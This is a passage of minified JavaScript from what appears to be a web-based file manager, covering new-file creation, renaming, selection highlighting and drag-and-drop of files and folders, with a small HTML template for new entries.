0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,f("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),f("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);f()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},u=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)x(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?x(n,s,t):n>s?x(o,n,t):x(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e); -ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=u,s.css({left:i,top:r}),y(e),j(i-h+p,r-f+u),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{x(e)}catch(t){}},10)},x=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+i+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+i+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},L=0,N=5,C=35,T=20,z=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+t+" file-draging'></div></div>").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=z||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&a-t+h-u>Math.abs(t+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var 